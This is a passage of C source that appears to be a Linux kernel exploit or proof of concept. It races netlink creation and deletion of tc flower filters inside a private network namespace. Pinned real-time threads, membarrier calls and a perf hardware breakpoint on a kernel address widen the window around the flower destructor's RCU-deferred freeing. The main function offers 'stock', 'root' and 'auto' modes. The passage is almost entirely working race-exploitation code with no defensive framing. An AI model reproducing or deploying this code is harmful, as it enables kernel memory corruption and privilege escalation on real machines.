set_fifo(60);
for (;;) {
sem_wait_intr(&ctx->sync_start);
if (atomic_load_explicit(&ctx->stop, memory_order_acquire))
break;
ctx->sync_ret = syscall(SYS_membarrier,
MEMBARRIER_CMD_GLOBAL, 0, 0);
/* queue_rcu_work() queues the flower destructor after the
* grace period.  Keep the racer starved while that ordered
* workqueue gets CPU time.
*/
sleep_us(2000);
atomic_store_explicit(&ctx->guard_release, 1,
     memory_order_release);
sem_post(&ctx->sync_done);
}
return NULL;
}

static void *creator_thread(void *arg)
{
struct race_ctx *ctx = arg;
__u32 indices[ACTION_COUNT];
int fd;

pin_cpu(1);
set_fifo(60);
fd = nl_open();
for (;;) {
sem_wait_intr(&ctx->creator_start);
if (atomic_load_explicit(&ctx->stop, memory_order_acquire))
break;
fill_indices(indices, ctx->target);
ctx->creator_start_abs_ns = mono_ns();
ctx->creator_ret = add_filter_many(fd, ctx->new_prio, 1, indices);
ctx->creator_send_ns = last_send_ns;
ctx->creator_send_start_abs_ns = last_send_start_ns;
sem_post(&ctx->done);
}
close(fd);
return NULL;
}

static int setup_netns(void)
{
int fd;

if (unshare(CLONE_NEWNET))
return 1;
fd = nl_open();
if (fd < 0)
return 1;
ifindex = if_nametoindex("lo");
if (!ifindex)
ifindex = 1;
if (link_up(fd) || add_clsact(fd)) {
close(fd);
return 1;
}
close(fd);
return 0;
}

static int run_stock_race(void)
{
struct race_ctx ctx = {};
struct perf_event_attr attr = {
.type = PERF_TYPE_BREAKPOINT,
.size = sizeof(attr),
.bp_type = HW_BREAKPOINT_X,
.bp_addr = breakpoint_addr,
/* x86 requires sizeof(long) for execution breakpoints. */
.bp_len = sizeof(long),
.sample_period = 1,
.sample_type = PERF_SAMPLE_IP,
.disabled = 1,
.exclude_user = 1,
.exclude_hv = 1,
.wakeup_events = 1,
};
struct f_owner_ex owner = { .type = F_OWNER_TID };
sigset_t sigio_set;
pthread_t racer, controller, creator, guards[2], syncer;
struct guard_ctx guard_ctxs[2] = {
{ .race = &ctx, .id = 0 },
{ .race = &ctx, .id = 1 },
};
int setup_errors = 0;
int fd, i;

pin_cpu(3);
sigemptyset(&sigio_set);
sigaddset(&sigio_set, SIGIO);
pthread_sigmask(SIG_BLOCK, &sigio_set, NULL);
ctx.perf_fd = -1;
if (setup_netns())
return 1;
fd = nl_open();
sem_init(&ctx.racer_start, 0, 0);
sem_init(&ctx.controller_start, 0, 0);
sem_init(&ctx.controller_armed, 0, 0);
sem_init(&ctx.creator_start, 0, 0);
sem_init(&ctx.guard_start[0], 0, 0);
sem_init(&ctx.guard_start[1], 0, 0);
sem_init(&ctx.guard_done, 0, 0);
sem_init(&ctx.sync_start, 0, 0);
sem_init(&ctx.sync_done, 0, 0);
sem_init(&ctx.done, 0, 0);
if (pthread_create(&creator, NULL, creator_thread, &ctx) ||
   pthread_create(&racer, NULL, racer_thread, &ctx) ||
   pthread_create(&guards[0], NULL, guard_thread, &guard_ctxs[0]) ||
   pthread_create(&guards[1], NULL, guard_thread, &guard_ctxs[1]) ||
   pthread_create(&syncer, NULL, sync_thread, &ctx) ||
   pthread_create(&controller, NULL, controller_thread, &ctx))
return 1;
while (!atomic_load_explicit(&ctx.racer_tid, memory_order_acquire) ||
      !atomic_load_explicit(&ctx.controller_tid, memory_order_acquire))
sched_yield();
ctx.perf_fd = perf_event_open_local(&attr,
atomic_load_explicit(&ctx.racer_tid, memory_order_acquire),
-1, -1, 0);
if (ctx.perf_fd < 0)
return 1;
owner.pid = atomic_load_explicit(&ctx.controller_tid,
memory_order_acquire);
if (fcntl(ctx.perf_fd, F_SETOWN_EX, &owner) ||
   fcntl(ctx.perf_fd, F_SETSIG, SIGIO) ||
   fcntl(ctx.perf_fd, F_SETFL, O_ASYNC | O_NONBLOCK))
return 1;
for (i = 0; i < RACE_TRIALS; i++) {
long head_slot = (i * 73L) % HEADSTART_SLOTS;

ctx.target = TARGET_START + (__u32)i * 128U;
ctx.old_prio = 1 + (i * 2) % 60000;
ctx.new_prio = ctx.old_prio + 1;
ctx.detector_prio = 0;
ctx.period = 1;
ctx.wake_ns = 1;
ctx.headstart_us = HEADSTART_MIN_US + head_slot;
if (add_filter(fd, ctx.old_prio, 1, ctx.target)) {
setup_errors++;
continue;
}
sem_post(&ctx.controller_start);
sem_wait_intr(&ctx.controller_armed);
sem_post(&ctx.racer_start);
sem_wait_intr(&ctx.done);
sem_wait_intr(&ctx.done);
sem_wait_intr(&ctx.done);
del_filter(fd, ctx.old_prio, 1);
del_filter(fd, ctx.new_prio, 1);
}
atomic_store_explicit(&ctx.stop, 1, memory_order_release);
sem_post(&ctx.racer_start);
sem_post(&ctx.controller_start);
sem_post(&ctx.creator_start);
sem_post(&ctx.guard_start[0]);
sem_post(&ctx.guard_start[1]);
sem_post(&ctx.sync_start);
pthread_join(racer, NULL);
pthread_join(controller, NULL);
pthread_join(creator, NULL);
pthread_join(guards[0], NULL);
pthread_join(guards[1], NULL);
pthread_join(syncer, NULL);
close(ctx.perf_fd);
close(fd);
return setup_errors ? 1 : 0;
}

int main(int argc, char **argv)
{
char *end;
unsigned long addr;

srand(getpid());
if (argc > 1 && strcmp(argv[1], "stock") &&
   strcmp(argv[1], "root") && strcmp(argv[1], "auto")) {
errno = 0;
addr = strtoul(argv[1], &end, 0);
if (errno || !addr || *end)
return 2;
breakpoint_addr = addr;
}
if (!breakpoint_addr) {
breakpoint_addr = find_breakpoint();
if (!breakpoint_addr)
return 2;
}
return run_stock_race();
}
```